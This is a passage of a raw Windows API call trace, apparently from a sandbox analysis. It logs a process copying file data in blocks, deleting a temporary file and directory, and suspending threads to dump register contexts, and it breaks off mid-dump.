	[0253.700] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.700] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.700] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.700] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.701] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.701] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.702] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.702] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.702] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.702] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.703] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.703] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.704] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.704] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.705] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.705] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.706] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.706] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.707] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.707] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.191] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.191] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.192] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.192] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.193] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.193] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.195] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.195] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.196] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.196] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.198] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x68de, lpOverlapped=0x0) returned 1
	[0254.198] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x68de, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x68de, lpOverlapped=0x0) returned 1
	[0254.199] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0254.199] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\64df796b562ba10f0aee0dc27102191f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\64df796b562ba10f0aee0dc27102191f")) returned 0
	[0254.199] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\64df796b562ba10f0aee0dc27102191f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\64df796b562ba10f0aee0dc27102191f")) returned 0
	[0254.200] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\64df796b562ba10f0aee0dc27102191f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\64df796b562ba10f0aee0dc27102191f")) returned 0x20
	[0254.200] CloseHandle (hObject=0x1a8) returned 1
	[0254.200] CloseHandle (hObject=0x120) returned 1
	[0254.929] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070fff788, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070fff788*=0x120) returned 1
	[0254.929] SwitchToThread () returned 1
	[0255.037] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0255.045] SuspendThread (hThread=0x120) returned 0x0
	[0255.045] GetThreadContext (in: hThread=0x120, lpContext=0x7070fff7a0 | out: lpContext=0x7070fff7a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0255.048] ResumeThread (hThread=0x120) returned 0x1
	[0255.048] CloseHandle (hObject=0x120) returned 1
	[0255.048] SetEvent (hEvent=0x124) returned 1
	[0255.048] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc50*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0255.052] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc50*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0255.058] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff4b8, ulCount=0x10, ulNumEntriesRemoved=0x7070fff490, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff4b8, ulNumEntriesRemoved=0x7070fff490) returned 0
	[0255.058] SetEvent (hEvent=0x124) returned 1
	[0255.059] SetEvent (hEvent=0xfc) returned 1
	[0255.059] SetEvent (hEvent=0xe4) returned 1
	[0255.059] VirtualAlloc (lpAddress=0xc000178000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000178000
	[0255.060] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\64df796b562ba10f0aee0dc27102191f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\64df796b562ba10f0aee0dc27102191f")) returned 1
	[0255.069] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc28*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0255.105] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0255.105] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070fff760, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070fff760*=0x120) returned 1
	[0255.105] SuspendThread (hThread=0x120) returned 0x0
	[0255.105] GetThreadContext (in: hThread=0x120, lpContext=0x7070fff770 | out: lpContext=0x7070fff770*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031d60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0255.106] ResumeThread (hThread=0x120) returned 0x1
	[0255.106] CloseHandle (hObject=0x120) returned 1
	[0255.107] SetEvent (hEvent=0x124) returned 1
	[0255.107] SetEvent (hEvent=0xf0) returned 1
	[0255.107] SetEvent (hEvent=0x188) returned 1
	[0255.107] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc28*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0255.236] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070fff760, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070fff760*=0x120) returned 1
	[0255.236] SuspendThread (hThread=0x120) returned 0x0
	[0255.236] GetThreadContext (in: hThread=0x120, lpContext=0x7070fff770 | out: lpContext=0x7070fff770*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031d60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, 